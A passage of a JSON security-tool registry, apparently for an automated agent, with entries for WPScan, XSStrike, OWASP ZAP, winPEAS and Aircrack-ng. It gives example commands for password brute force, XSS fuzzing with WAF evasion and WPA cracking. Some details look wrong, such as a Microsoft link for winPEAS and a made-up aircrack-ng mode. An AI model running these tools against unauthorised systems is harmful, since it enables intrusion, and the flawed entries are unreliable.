    "_body": "\n# WPScan — WordPress Vulnerability Scanner\n\nWPScan is a black-box WordPress vulnerability scanner that identifies security issues by enumerating themes, plugins, users, and checking for known vulnerabilities.\n\n## Basic Usage\n\n```bash\n# Basic scan\nwpscan --url http://target.com --batch\n\n# Enumerate vulnerable plugins, themes, and users\nwpscan --url http://target.com -e vp,vt,u --batch\n```\n\n## Enumeration Options\n\n| Flag | Description |\n|------|-------------|\n| `-e vp` | Vulnerable plugins |\n| `-e vt` | Vulnerable themes |\n| `-e u` | Users |\n| `-e ap` | All plugins |\n| `-e at` | All themes |\n| `-e cb` | Config backups |\n| `-e tt` | Timthumb files |\n| `-e dbe` | Database exports |\n\n## Modes\n\n```bash\n# Stealthy (low and slow)\nwpscan --url http://target.com --stealthy\n\n# Aggressive detection\nwpscan --url http://target.com --detection-mode aggressive\n\n# Force scan non-WordPress sites\nwpscan --url http://target.com --force\n```\n",
    "_source": "wpscan.md",
    "allowed-tools": [
      "wpscan",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.wpscan.report",
        "description": "WordPress vulnerability scan report",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.scan.wordpress",
      "web.discovery.plugin",
      "web.discovery.theme",
      "web.discovery.user",
      "security.vulnerability.scan"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target WordPress URL"
        }
      ],
      "outputs": [
        {
          "type": "web.wpscan.results",
          "description": "Vulnerability scan results",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Black-box WordPress vulnerability scanner that detects themes, plugins, users, and security misconfigurations.",
    "examples": [
      {
        "description": "Basic WordPress scan",
        "command": "wpscan --url http://target.com --batch"
      },
      {
        "description": "Enumerate vulnerabilities and users",
        "command": "wpscan --url http://target.com -e vp,vt,u --batch"
      },
      {
        "description": "Brute force user passwords",
        "command": "wpscan --url http://target.com --usernames users.txt --passwords rockyou.txt"
      },
      {
        "description": "Use stealthy mode",
        "command": "wpscan --url http://target.com --stealthy"
      },
      {
        "description": "With API token for vulnerability database",
        "command": "wpscan --url http://target.com --api-token YOUR_TOKEN -e vp,vt"
      }
    ],
    "execution": {
      "template": "wpscan --url {target} -e",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "process-manip"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-wpscan",
    "install": [
      {
        "method": "apt",
        "package_name": "wpscan",
        "commands": [
          "apt-get install -y wpscan"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595",
      "T1190"
    ],
    "name": "wpscan",
    "namespace": "security:web:wpscan",
    "parameters": [
      {
        "name": "api-token",
        "template_key": "api-token",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "API token for vulnerability database",
        "aliases": [
          "--api-token"
        ],
        "flag": "--api-token"
      },
      {
        "name": "batch",
        "template_key": "batch",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Never ask for user input",
        "aliases": [
          "--batch"
        ],
        "flag": "--batch"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Cookie string",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "detection-mode",
        "template_key": "detection-mode",
        "type": "string",
        "required": false,
        "default_value": "mixed",
        "description": "Detection mode (passive/aggressive/mixed)",
        "aliases": [
          "--detection-mode"
        ],
        "flag": "--detection-mode"
      },
      {
        "name": "enumerate",
        "template_key": "enumerate",
        "type": "string",
        "required": false,
        "default_value": "vp,vt",
        "description": "Enumeration options (vp,vt,u,ap,at,cb,dbe,tt)",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "exclude_content_based",
        "type": "boolean",
        "required": false,
        "description": "Exclude by content regex",
        "aliases": [
          "--exclude-content-based"
        ],
        "flag": "--exclude-content-based"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Force scan even if not WordPress",
        "aliases": [
          "--force"
        ],
        "flag": "--force"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "--headers"
        ],
        "flag": "--headers"
      },
      {
        "name": "ignore_main_redirect",
        "type": "boolean",
        "required": false,
        "description": "Ignore redirect to main site",
        "aliases": [
          "--ignore-main-redirect"
        ],
        "flag": "--ignore-main-redirect"
      },
      {
        "name": "passwords",
        "template_key": "passwords",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Password file for brute force",
        "aliases": [
          "--passwords"
        ],
        "flag": "--passwords"
      },
      {
        "name": "plugins-detection",
        "template_key": "plugins-detection",
        "type": "string",
        "required": false,
        "default_value": "passive",
        "description": "Plugin detection mode (passive/aggressive/mixed)",
        "aliases": [
          "--plugins-detection"
        ],
        "flag": "--plugins-detection"
      },
      {
        "name": "plugins_version_detection",
        "type": "boolean",
        "required": false,
        "description": "Plugin version detection mode",
        "aliases": [
          "--plugins-version-detection"
        ],
        "flag": "--plugins-version-detection"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "random-user-agent",
        "template_key": "random-user-agent",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Random User-Agent header",
        "aliases": [
          "--random-user-agent"
        ],
        "flag": "--random-user-agent"
      },
      {
        "name": "stealthy",
        "type": "boolean",
        "required": false,
        "description": "Stealthy mode (low and slow)",
        "aliases": [
          "--stealthy"
        ],
        "flag": "--stealthy"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 5,
        "description": "Number of threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target WordPress URL",
        "aliases": [
          "--url"
        ],
        "flag": "--url"
      },
      {
        "name": "user_agent",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--user-agent",
          "-Agent"
        ],
        "flag": "-Agent"
      },
      {
        "name": "usernames",
        "template_key": "usernames",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Username file",
        "aliases": [
          "--usernames"
        ],
        "flag": "--usernames"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "WPScan GitHub",
        "url": "https://github.com/wpscanteam/wpscan"
      },
      {
        "label": "WPScan website",
        "url": "https://wpscan.com/"
      }
    ],
    "related_tools": [
      "joomscan",
      "cmsmap"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "wp-scan-results",
        "wp-vulnerabilities",
        "wp-users"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# XSStrike — Advanced XSS Detection\n\nXSStrike is an advanced XSS detection tool with context-aware payload generation, WAF detection and evasion, and DOM XSS scanning capabilities.\n\n## Basic Usage\n\n```bash\n# Simple GET parameter test\npython3 xsstrike.py -u \"http://target.com/page.php?q=test\"\n\n# POST request test\npython3 xsstrike.py -u \"http://target.com/search\" --data \"q=test\"\n\n# JSON data test\npython3 xsstrike.py -u \"http://target.com/api\" --data '{\"q\":\"test\"}' --json\n```\n\n## Advanced Scanning\n\n```bash\n# Crawl and scan\npython3 xsstrike.py -u \"http://target.com\" --crawl -l 3\n\n# Blind XSS detection\npython3 xsstrike.py -u \"http://target.com/feedback\" --blind\n\n# Fuzzer mode\npython3 xsstrike.py -u \"http://target.com/page.php?q=test\" --fuzzer\n\n# WAF evasion\npython3 xsstrike.py -u \"http://target.com/page.php?q=test\" --skip-dom\n```\n",
    "_source": "xsstrike.md",
    "allowed-tools": [
      "xsstrike",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.xss.report",
        "description": "XSS vulnerability report",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.injection.xss",
      "web.discovery.xss",
      "security.evasion.waf",
      "web.scan.dom"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL to test for XSS"
        }
      ],
      "outputs": [
        {
          "type": "web.injection.xss.results",
          "description": "XSS vulnerability findings",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Advanced XSS detection suite with context-aware payload generation, WAF detection/evasion, and DOM XSS scanning.",
    "examples": [
      {
        "description": "Basic XSS scan",
        "command": "python3 xsstrike.py -u \"http://target.com/page.php?q=test\""
      },
      {
        "description": "Scan with POST data",
        "command": "python3 xsstrike.py -u \"http://target.com/search\" --data \"q=test\""
      },
      {
        "description": "Crawl and scan for XSS",
        "command": "python3 xsstrike.py -u \"http://target.com\" --crawl -l 3"
      },
      {
        "description": "Use proxy and custom headers",
        "command": "python3 xsstrike.py -u \"http://target.com/page.php?q=test\" --proxy \"http://127.0.0.1:8080\" --headers \"X-Custom: test\""
      },
      {
        "description": "Blind XSS with fuzzer",
        "command": "python3 xsstrike.py -u \"http://target.com/page.php?q=test\" --blind --fuzzer"
      }
    ],
    "execution": {
      "template": "python3 xsstrike.py -u {target}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "stealth"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "security-web-xsstrike",
    "install": [
      {
        "method": "pip",
        "package_name": "xsstrike",
        "commands": [
          "pip install xsstrike"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "xsstrike",
    "namespace": "security:web:xsstrike",
    "parameters": [
      {
        "name": "blind",
        "template_key": "blind",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable blind XSS detection",
        "aliases": [
          "--blind"
        ],
        "flag": "--blind"
      },
      {
        "name": "console_log_level",
        "type": "boolean",
        "required": false,
        "description": "Console log level",
        "aliases": [
          "--console-log-level"
        ],
        "flag": "--console-log-level"
      },
      {
        "name": "crawl",
        "template_key": "crawl",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Crawl the target URL",
        "aliases": [
          "--crawl"
        ],
        "flag": "--crawl"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST data string",
        "aliases": [
          "--data"
        ],
        "flag": "--data"
      },
      {
        "name": "delay",
        "template_key": "delay",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Delay between requests in seconds",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "depth",
        "template_key": "depth",
        "type": "integer",
        "required": false,
        "default_value": 2,
        "description": "Crawl depth level",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "e",
        "type": "boolean",
        "required": false,
        "description": "Encode payloads",
        "aliases": [
          "-e",
          "--encode"
        ],
        "flag": "-e"
      },
      {
        "name": "file_log_level",
        "type": "boolean",
        "required": false,
        "description": "File log level",
        "aliases": [
          "--file-log-level"
        ],
        "flag": "--file-log-level"
      },
      {
        "name": "fuzzer",
        "template_key": "fuzzer",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable payload fuzzer",
        "aliases": [
          "--fuzzer"
        ],
        "flag": "--fuzzer"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "--headers"
        ],
        "flag": "--headers"
      },
      {
        "name": "json",
        "template_key": "json",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Treat POST data as JSON",
        "aliases": [
          "--json"
        ],
        "flag": "--json"
      },
      {
        "name": "log_file",
        "type": "boolean",
        "required": false,
        "description": "Log file path",
        "aliases": [
          "--log-file"
        ],
        "flag": "--log-file"
      },
      {
        "name": "path",
        "template_key": "path",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Inject payloads into path",
        "aliases": [
          "--path"
        ],
        "flag": "--path"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Suppress banner",
        "aliases": [
          "-s",
          "--silent"
        ],
        "flag": "-s"
      },
      {
        "name": "seed",
        "type": "boolean",
        "required": false,
        "description": "Seed for payload generation",
        "aliases": [
          "--seed"
        ],
        "flag": "--seed"
      },
      {
        "name": "skip-dom",
        "template_key": "skip-dom",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Skip DOM XSS scanner",
        "aliases": [
          "--skip-dom"
        ],
        "flag": "--skip-dom"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Number of threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 30,
        "description": "Request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "XSStrike GitHub",
        "url": "https://github.com/s0md3v/XSStrike"
      }
    ],
    "related_tools": [
      "dalfox",
      "commix",
      "beef"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "discovery",
      "defense-evasion",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "xss-results",
        "vulnerable-params"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# OWASP ZAP — Zed Attack Proxy\n\nOWASP ZAP (Zed Attack Proxy) is one of the world's most popular free web application security scanners. It helps automatically find security vulnerabilities in web applications and APIs.\n\n## Key Features\n\n- **Intercepting Proxy**: Inspect and modify HTTP/HTTPS traffic\n- **Active Scanner**: Automatically find vulnerabilities\n- **Passive Scanner**: Identify issues without modifying requests\n- **Spider**: Crawl web applications to map content\n- **API Scanning**: Test REST and GraphQL APIs\n- **Authentication Support**: Form-based, NTLM, OAuth, etc.\n\n## Modes\n\n| Mode | Command | Description |\n|------|---------|-------------|\n| GUI | `zap` | Standard graphical interface |\n| Daemon | `zap -daemon` | Headless mode (API accessible) |\n| Command-line | `zap -cmd` | CLI mode for scripting |\n\n## Basic Usage\n\n```bash\n# Start daemon mode for automated scanning\nzap -daemon -port 8080\n\n# Use zap-cli for headless scanning\nzap-cli --port 8080 quick-scan -r report.html https://target.com\n\n# Run with custom configuration\nzap -cmd -config api.disablekey=true -config scanner.attackOnStart=true\n```\n\n## Operational Security\n\n- Set `api.disablekey=true` for local-only API access\n- Use `-host 127.0.0.1` to bind to localhost only\n- Scanning without authorization is illegal in many jurisdictions\n",
    "_source": "owasp-zap.md",
    "allowed-tools": [
      "zap",
      "zap-cli",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.scan.report",
        "description": "ZAP scan report in HTML or JSON",
        "mime": "text/html",
        "trust_level": "verified"
      },
      {
        "type": "web.scan.session",
        "description": "ZAP session file",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.proxy.intercept",
      "web.scan.active",
      "web.scan.passive",
      "web.fuzzing",
      "web.spider",
      "web.api.scan",
      "web.session.handling"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target application URL to scan"
        },
        {
          "type": "web.target.context",
          "description": "Context definition for authenticated scanning"
        }
      ],
      "outputs": [
        {
          "type": "web.scan.report",
          "description": "HTML or JSON scan report",
          "mime": "text/html"
        },
        {
          "type": "web.scan.alerts",
          "description": "Security alerts found during scan",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 512,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "OWASP Zed Attack Proxy — open-source web application security scanner for finding vulnerabilities in web applications and APIs.",
    "examples": [
      {
        "description": "Start ZAP in daemon mode on default port",
        "command": "zap -daemon -port 8080"
      },
      {
        "description": "Run ZAP in command-line mode with config",
        "command": "zap -cmd -config api.disablekey=true"
      },
      {
        "description": "Start daemon with custom host binding",
        "command": "zap -daemon -host 0.0.0.0 -port 9090"
      },
      {
        "description": "Load existing session and suppress info messages",
        "command": "zap -session session.session -suppressinfo"
      },
      {
        "description": "Create new session in daemon mode",
        "command": "zap -daemon -newsession /tmp/zap-session"
      },
      {
        "description": "Full automated scan using zap-cli",
        "command": "zap-cli --port 8080 quick-scan --self-contained -r report.html https://target.com"
      }
    ],
    "execution": {
      "template": "zap -daemon -port {port} -host {host}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {
      "target": "url",
      "port": "8080",
      "host": "127.0.0.1"
    },
    "id": "security-web-owasp-zap",
    "install": [
      {
        "method": "apt",
        "package_name": "zaproxy",
        "commands": [
          "apt-get install -y zaproxy"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "owasp-zap",
    "namespace": "security:web:zap",
    "parameters": [
      {
        "name": "cmd",
        "template_key": "cmd",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Run ZAP in command-line mode without GUI",
        "aliases": [
          "-cmd"
        ],
        "flag": "-cmd"
      },
      {
        "name": "config",
        "template_key": "config",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Configuration key=value pairs",
        "aliases": [
          "-config"
        ],
        "flag": "-config"
      },
      {
        "name": "daemon",
        "template_key": "daemon",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Run ZAP in daemon mode (headless)",
        "aliases": [
          "-daemon"
        ],
        "flag": "-daemon"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "-h",
          "-help"
        ],
        "flag": "-h"
      },
      {
        "name": "host",
        "template_key": "host",
        "type": "string",
        "required": false,
        "default_value": "127.0.0.1",
        "description": "Host address to bind to",
        "aliases": [
          "-host"
        ],
        "flag": "-host"
      },
      {
        "name": "newsession",
        "template_key": "newsession",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Create new session at specified path",
        "aliases": [
          "-newsession"
        ],
        "flag": "-newsession"
      },
      {
        "name": "port",
        "template_key": "port",
        "type": "integer",
        "required": false,
        "default_value": 8080,
        "description": "Port to listen on",
        "aliases": [
          "-port"
        ],
        "flag": "-port"
      },
      {
        "name": "session",
        "template_key": "session",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Open existing session file",
        "aliases": [
          "-session"
        ],
        "flag": "-session"
      },
      {
        "name": "suppressinfo",
        "template_key": "suppressinfo",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Suppress informational messages in output",
        "aliases": [
          "-suppressinfo"
        ],
        "flag": "-suppressinfo"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "OWASP ZAP Documentation",
        "url": "https://www.zaproxy.org/docs/"
      },
      {
        "label": "ZAP API Reference",
        "url": "https://www.zaproxy.org/docs/api/"
      }
    ],
    "related_tools": [
      "burpsuite",
      "nikto",
      "wpscan"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 512,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "discovery",
      "discovery",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "scan-results",
        "alerts",
        "spider-results"
      ],
      "consumes": [
        "target-url",
        "target-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "winpeas.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Windows local privilege escalation enumeration and auditing script.",
    "examples": [
      {
        "description": "Display help for winpeas",
        "command": "winpeas --help"
      }
    ],
    "execution": {
      "template": "winpeas --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-winpeas",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "winpeas",
    "namespace": "security:windows:enumeration",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "winpeas Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winpeas"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# Aircrack-ng — WiFi Security Suite\n\nAircrack-ng is a complete suite of tools for assessing WiFi network security. It focuses on different areas of WiFi security: monitoring, attacking, testing, and cracking. It supports WEP and WPA/WPA2-PSK key recovery.\n\n## Key Components\n\n- **aircrack-ng**: WEP/WPA key cracker\n- **airmon-ng**: Enable/disable monitor mode on wireless interfaces\n- **airodump-ng**: Packet capture for raw 802.11 frames\n- **aireplay-ng**: Packet injection for deauth and replay attacks\n- **airdecap-ng**: Decrypt WEP/WPA captures with known key\n\n## Cracking Modes\n\n| Mode | Flag | Description |\n|------|------|-------------|\n| PTW | `-a 1` | Standard WEP cracking (PTW attack) |\n| KoreK | `-a 1 -K` | KoreK attacks for difficult WEP |\n| WPA-PSK | `-a 2 -w` | Dictionary attack on WPA handshake |\n| WPA-PTK | `-a 2 -p` | WPA with known password test |\n\n## Usage Workflow\n\n```bash\n# 1. Enable monitor mode\nairmon-ng start wlan0\n\n# 2. Capture handshake\nairodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon\n\n# 3. Crack the handshake\naircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap\n```\n",
    "_source": "security-wireless-aircrack-ng.md",
    "allowed-tools": [
      "aircrack-ng",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wireless.crack.key",
        "description": "Cracked WEP or WPA key",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "wireless.capture.pcap",
        "description": "Captured wireless packets",
        "mime": "application/vnd.tcpdump.pcap",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.manipulation.sniff",
      "network.crack.wep",
      "network.crack.wpa",
      "network.deauth",
      "network.monitor"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wireless.capture.file",
          "description": "Packet capture file (.cap or .pcap)"
        },
        {
          "type": "wordlist.file",
          "description": "Dictionary file for password cracking"
        }
      ],
      "outputs": [
        {
          "type": "wireless.crack.key",
          "description": "Cracked WPA passphrase or WEP key",
          "mime": "text/plain"
        },
        {
          "type": "wireless.crack.hccapx",
          "description": "Hashcat-compatible hash file",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic",
        "raw_socket_access"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 256,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Complete suite for monitoring, attacking, testing, and cracking WiFi networks, including WEP and WPA/WPA2-PSK.",
    "examples": [
      {
        "description": "Crack WPA2 handshake using dictionary",
        "command": "aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake.cap"
      },
      {
        "description": "Crack WEP capture using PTW attack",
        "command": "aircrack-ng -a 1 -b 00:11:22:33:44:55 wep.cap"
      },
      {
        "description": "Show known keys in capture file",
        "command": "aircrack-ng -s capture.cap"
      },
      {
        "description": "Crack WPA with specific ESSID",
        "command": "aircrack-ng -w wordlist.txt -e MyNetwork handshake.cap"
      },
      {
        "description": "Crack WEP with KoreK attacks",
        "command": "aircrack-ng -K -b 00:11:22:33:44:55 wep.cap"
      },
      {
        "description": "Show all IVs and AP information",
        "command": "aircrack-ng capture.cap"
      },
      {
        "description": "Convert capture to hccapx format",
        "command": "aircrack-ng -j hash.hccapx handshake.cap"
      },
      {
        "description": "Crack with quiet mode and automatic detection",
        "command": "aircrack-ng -q -w wordlist.txt handshake.cap"
      }
    ],
    "execution": {
      "template": "aircrack-ng -w {wordlist} {capture-file}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "capture-file": "handshake.cap",
      "wordlist": "/usr/share/wordlists/rockyou.txt"
    },
    "id": "security-wireless-aircrack-ng",
    "install": [
      {
        "method": "apt",
        "package_name": "aircrack-ng",
        "commands": [
          "apt-get install -y aircrack-ng"
        ]
      }
    ],
    "items": [
      "Hash"
    ],
    "name": "aircrack-ng",
    "namespace": "security:wireless:aircrack-ng",
    "parameters": [
      {
        "name": "wordlist",
        "type": "file",
        "required": false,
        "description": "Path to dictionary file for WPA/WPA2-PSK cracking",
        "aliases": [
          "-w",
          "--wordlist"
        ],
        "flag": "-w"
      },
      {
        "name": "attack-mode",
        "type": "string",
        "required": false,
        "description": "Attack mode flag",
        "aliases": [
          "-a",
          "--attack-mode"
        ],
        "flag": "-a"
      },
      {
        "name": "essid",
        "type": "string",
        "required": false,
        "description": "Target network ESSID",
        "aliases": [
          "-e",
          "--essid"
        ],
        "flag": "-e"
      },
      {
        "name": "bssid",
        "type": "string",
        "required": false,
        "description": "Target network BSSID",
        "aliases": [
          "-b",
          "--bssid"
        ],
        "flag": "-b"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "WPA password to test",
        "aliases": [
          "-p",
          "--password"
        ],
        "flag": "-p"
      },
      {
        "name": "show",
        "type": "boolean",
        "required": false,
        "description": "Show known keys in capture",
        "aliases": [
          "-s",
          "--show"
        ],
        "flag": "-s"
      },
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode, suppress output",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "korps",
        "type": "boolean",
        "required": false,
        "description": "Enable KoreK attacks for WEP",
        "aliases": [
          "-K",
          "--korps"
        ],
        "flag": "-K"
      },
      {
        "name": "strength",
        "type": "integer",
        "required": false,
        "description": "WEP key strength in bits (40/104)",
        "aliases": [
          "-S",
          "--strength"
        ],
        "flag": "-S"
      },
      {
        "name": "fudge",
        "type": "integer",
        "required": false,
        "description": "Fudge factor for PTW attack",
        "aliases": [
          "-f",
          "--fudge"
        ],
        "flag": "-f"
      },
      {
        "name": "g",
        "type": "boolean",
        "required": false,
        "description": "GUI mode",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Display help",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "i",
        "type": "boolean",
        "required": false,
        "description": "WEP key index",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "j",
        "type": "boolean",
        "required": false,
        "description": "Output hash in hccapx format",
        "aliases": [
          "-j"
        ],
        "flag": "-j"
      },
      {
        "name": "l",
        "type": "boolean",
        "required": false,
        "description": "Write key to file",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "n",
        "type": "boolean",
        "required": false,
        "description": "Use PTW attack",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "t",
        "type": "boolean",
        "required": false,
        "description": "WEP40/WEP104 selection",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
